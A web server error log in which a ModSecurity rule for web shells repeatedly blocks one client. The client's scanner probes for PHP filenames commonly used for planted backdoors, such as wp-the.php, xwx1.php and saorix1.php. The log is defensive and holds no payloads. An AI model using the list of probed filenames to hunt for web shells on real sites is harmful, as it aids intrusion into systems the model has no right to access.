[Thu Apr 09 19:51:22.453375 2026] [:error] [pid 24624:tid 24636] [client 20.234.89.162:8258] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "adeSuu4Jn-WvK1ZBTvjNewAAAMo"]
[Thu Apr 09 19:51:23.180652 2026] [:error] [pid 18477:tid 18489] [client 20.234.89.162:8921] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "adeSu8De826HlFeoLPKUVAAAAUo"]
[Thu Apr 09 19:51:23.849945 2026] [:error] [pid 24516:tid 24555] [client 20.234.89.162:8901] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "adeSu9hW7vSS-UkeWCUptgAAAEg"]
[Thu Apr 09 19:51:24.540520 2026] [:error] [pid 24515:tid 24532] [client 20.234.89.162:8943] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "adeSvK1OMnvM2fMnB1OV1QAAAA0"]
[Thu Apr 09 19:51:25.633374 2026] [:error] [pid 63331:tid 63342] [client 20.234.89.162:8270] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "adeSvSbKfIYuVjWbE4VHoAAAAck"]
[Thu Apr 09 19:51:26.323113 2026] [:error] [pid 20837:tid 20842] [client 20.234.89.162:8957] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "adeSvvSL71FHZkjrGzPd3gAAAYM"]
[Thu Apr 09 19:51:26.933089 2026] [:error] [pid 18477:tid 18498] [client 20.234.89.162:8916] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "adeSvsDe826HlFeoLPKUVgAAAVM"]
[Thu Apr 09 19:51:27.779890 2026] [:error] [pid 24624:tid 24642] [client 20.234.89.162:8955] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "adeSv-4Jn-WvK1ZBTvjNgwAAANA"]
[Thu Apr 09 19:51:28.379776 2026] [:error] [pid 24927:tid 24954] [client 20.234.89.162:8959] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "adeSwDXObuzEuw8mNJsYBwAAARg"]
[Thu Apr 09 19:51:29.224100 2026] [:error] [pid 63331:tid 63356] [client 20.234.89.162:8897] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "adeSwSbKfIYuVjWbE4VHpgAAAdc"]
[Thu Apr 09 19:51:29.784985 2026] [:error] [pid 24624:tid 24644] [client 20.234.89.162:8298] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "adeSwe4Jn-WvK1ZBTvjNigAAANI"]
[Thu Apr 09 19:51:30.464382 2026] [:error] [pid 63331:tid 63334] [client 20.234.89.162:8836] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "adeSwibKfIYuVjWbE4VHrAAAAcE"]
[Thu Apr 09 19:51:31.453335 2026] [:error] [pid 63331:tid 63338] [client 20.234.89.162:8908] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "adeSwybKfIYuVjWbE4VHtQAAAcU"]
[Thu Apr 09 19:51:32.090629 2026] [:error] [pid 63331:tid 63346] [client 20.234.89.162:8928] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "adeSxCbKfIYuVjWbE4VHugAAAc0"]
[Thu Apr 09 19:51:32.774083 2026] [:error] [pid 20837:tid 20854] [client 20.234.89.162:8260] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "adeSxPSL71FHZkjrGzPd7QAAAY8"]
[Thu Apr 09 19:51:33.470823 2026] [:error] [pid 63331:tid 63338] [client 20.234.89.162:8932] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "adeSxSbKfIYuVjWbE4VHvgAAAcU"]
[Thu Apr 09 19:51:34.229550 2026] [:error] [pid 63331:tid 63355] [client 20.234.89.162:8910] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "adeSxibKfIYuVjWbE4VHwwAAAdY"]
[Thu Apr 09 19:51:34.933988 2026] [:error] [pid 63331:tid 63346] [client 20.234.89.162:8269] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "adeSxibKfIYuVjWbE4VHyAAAAc0"]
[Thu Apr 09 19:51:35.585777 2026] [:error] [pid 20837:tid 20841] [client 20.234.89.162:8944] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "adeSx_SL71FHZkjrGzPd9AAAAYI"]
[Thu Apr 09 19:51:36.370649 2026] [:error] [pid 24515:tid 24536] [client 20.234.89.162:8953] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "adeSyK1OMnvM2fMnB1OV6AAAABE"]
[Thu Apr 09 19:51:37.142671 2026] [:error] [pid 24927:tid 24932] [client 20.234.89.162:8926] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "adeSyTXObuzEuw8mNJsYCwAAAQI"]
[Thu Apr 09 19:51:38.352006 2026] [:error] [pid 24927:tid 24950] [client 20.234.89.162:8268] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "adeSyjXObuzEuw8mNJsYEAAAARQ"]
[Thu Apr 09 19:51:39.117622 2026] [:error] [pid 24624:tid 24641] [client 20.234.89.162:8304] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "adeSy-4Jn-WvK1ZBTvjNlAAAAM8"]
[Thu Apr 09 19:51:39.820857 2026] [:error] [pid 63331:tid 63337] [client 20.234.89.162:8942] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "adeSyybKfIYuVjWbE4VH3QAAAcQ"]
[Thu Apr 09 19:51:40.458389 2026] [:error] [pid 24515:tid 24528] [client 20.234.89.162:8263] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adeSzK1OMnvM2fMnB1OV8wAAAAk"]
[Thu Apr 09 19:51:41.478658 2026] [:error] [pid 63331:tid 63355] [client 20.234.89.162:8259] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adeSzSbKfIYuVjWbE4VH4AAAAdY"]
[Thu Apr 09 19:51:42.131113 2026] [:error] [pid 63331:tid 63343] [client 20.234.89.162:8938] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adeSzibKfIYuVjWbE4VH5QAAAco"]
[Thu Apr 09 19:51:42.748419 2026] [:error] [pid 63331:tid 63336] [client 20.234.89.162:8956] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adeSzibKfIYuVjWbE4VH5wAAAcM"]
[Thu Apr 09 19:51:43.451296 2026] [:error] [pid 63331:tid 63355] [client 20.234.89.162:8292] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wswer1.php"] [unique_id "adeSzybKfIYuVjWbE4VH7AAAAdY"]
[Thu Apr 09 19:51:44.024978 2026] [:error] [pid 20837:tid 20845] [client 20.234.89.162:8904] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wswer1.php"] [unique_id "adeS0PSL71FHZkjrGzPd_QAAAYY"]
[Thu Apr 09 19:51:44.698903 2026] [:error] [pid 24515:tid 24536] [client 20.234.89.162:8317] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wswer1.php"] [unique_id "adeS0K1OMnvM2fMnB1OV-gAAABE"]
[Thu Apr 09 19:51:45.275744 2026] [:error] [pid 63331:tid 63336] [client 20.234.89.162:8923] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wswer1.php"] [unique_id "adeS0SbKfIYuVjWbE4VH9QAAAcM"]
[Thu Apr 09 19:51:46.185051 2026] [:error] [pid 63331:tid 63333] [client 20.234.89.162:8266] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "adeS0ibKfIYuVjWbE4VH-QAAAcA"]
[Thu Apr 09 19:51:47.102319 2026] [:error] [pid 63331:tid 63348] [client 20.234.89.162:8927] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "adeS0ybKfIYuVjWbE4VH-wAAAc8"]
[Thu Apr 09 19:51:47.719873 2026] [:error] [pid 63331:tid 63343] [client 20.234.89.162:8267] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "adeS0ybKfIYuVjWbE4VH_gAAAco"]
[Thu Apr 09 19:51:48.595665 2026] [:error] [pid 63331:tid 63354] [client 20.234.89.162:8296] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "adeS1CbKfIYuVjWbE4VIAQAAAdU"]
[Thu Apr 09 19:51:49.390968 2026] [:error] [pid 24927:tid 24949] [client 20.234.89.162:8264] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adeS1TXObuzEuw8mNJsYEwAAARM"]
[Thu Apr 09 19:51:49.975849 2026] [:error] [pid 63331:tid 63351] [client 20.234.89.162:8853] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adeS1SbKfIYuVjWbE4VIBQAAAdI"]
[Thu Apr 09 19:51:50.574162 2026] [:error] [pid 63331:tid 63347] [client 20.234.89.162:8256] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adeS1ibKfIYuVjWbE4VIDQAAAc4"]
[Thu Apr 09 19:51:51.610967 2026] [:error] [pid 63331:tid 63343] [client 20.234.89.162:8276] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adeS1ybKfIYuVjWbE4VIFQAAAco"]
[Thu Apr 09 19:51:52.630505 2026] [:error] [pid 63331:tid 63344] [client 20.234.89.162:8257] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "adeS2CbKfIYuVjWbE4VIGAAAAcs"]
[Thu Apr 09 19:51:53.371714 2026] [:error] [pid 18477:tid 18494] [client 20.234.89.162:8295] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "adeS2cDe826HlFeoLPKUWAAAAU8"]
[Thu Apr 09 19:51:54.068134 2026] [:error] [pid 24624:tid 24641] [client 20.234.89.162:8905] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "adeS2u4Jn-WvK1ZBTvjNowAAAM8"]
[Thu Apr 09 19:51:54.724948 2026] [:error] [pid 24927:tid 24954] [client 20.234.89.162:8924] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "adeS2jXObuzEuw8mNJsYFAAAARg"]
[Thu Apr 09 19:51:55.248662 2026] [:error] [pid 20837:tid 20863] [client 20.234.89.162:8913] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "adeS2_SL71FHZkjrGzPeBwAAAZg"]
[Thu Apr 09 19:51:56.007298 2026] [:error] [pid 63331:tid 63338] [client 20.234.89.162:8280] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "adeS3CbKfIYuVjWbE4VIHQAAAcU"]
[Thu Apr 09 19:51:56.701286 2026] [:error] [pid 63331:tid 63340] [client 20.234.89.162:8940] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "adeS3CbKfIYuVjWbE4VIIwAAAcc"]
[Thu Apr 09 19:51:57.654975 2026] [:error] [pid 63331:tid 63353] [client 20.234.89.162:8898] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "adeS3SbKfIYuVjWbE4VIJwAAAdQ"]
[Thu Apr 09 19:51:58.464310 2026] [:error] [pid 20837:tid 20847] [client 20.234.89.162:8900] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new3.php"] [unique_id "adeS3vSL71FHZkjrGzPeDAAAAYg"]
[Thu Apr 09 19:51:59.359570 2026] [:error] [pid 63331:tid 63343] [client 20.234.89.162:8277] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new3.php"] [unique_id "adeS3ybKfIYuVjWbE4VILAAAAco"]
[Thu Apr 09 19:51:59.965062 2026] [:error] [pid 20837:tid 20851] [client 20.234.89.162:8306] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new3.php"] [unique_id "adeS3_SL71FHZkjrGzPeDQAAAYw"]
[Thu Apr 09 19:52:00.585938 2026] [:error] [pid 24927:tid 24951] [client 20.234.89.162:8930] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new3.php"] [unique_id "adeS4DXObuzEuw8mNJsYFgAAARU"]
[Thu Apr 09 19:52:01.571581 2026] [:error] [pid 18477:tid 18497] [client 20.234.89.162:8922] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-turn.php"] [unique_id "adeS4cDe826HlFeoLPKUXAAAAVI"]
[Thu Apr 09 19:52:02.645169 2026] [:error] [pid 63331:tid 63337] [client 20.234.89.162:8297] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-turn.php"] [unique_id "adeS4ibKfIYuVjWbE4VIMwAAAcQ"]
[Thu Apr 09 19:52:03.438510 2026] [:error] [pid 63331:tid 63355] [client 20.234.89.162:8918] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-turn.php"] [unique_id "adeS4ybKfIYuVjWbE4VIOgAAAdY"]
[Thu Apr 09 19:52:04.051791 2026] [:error] [pid 63331:tid 63333] [client 20.234.89.162:8849] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-turn.php"] [unique_id "adeS5CbKfIYuVjWbE4VIPgAAAcA"]
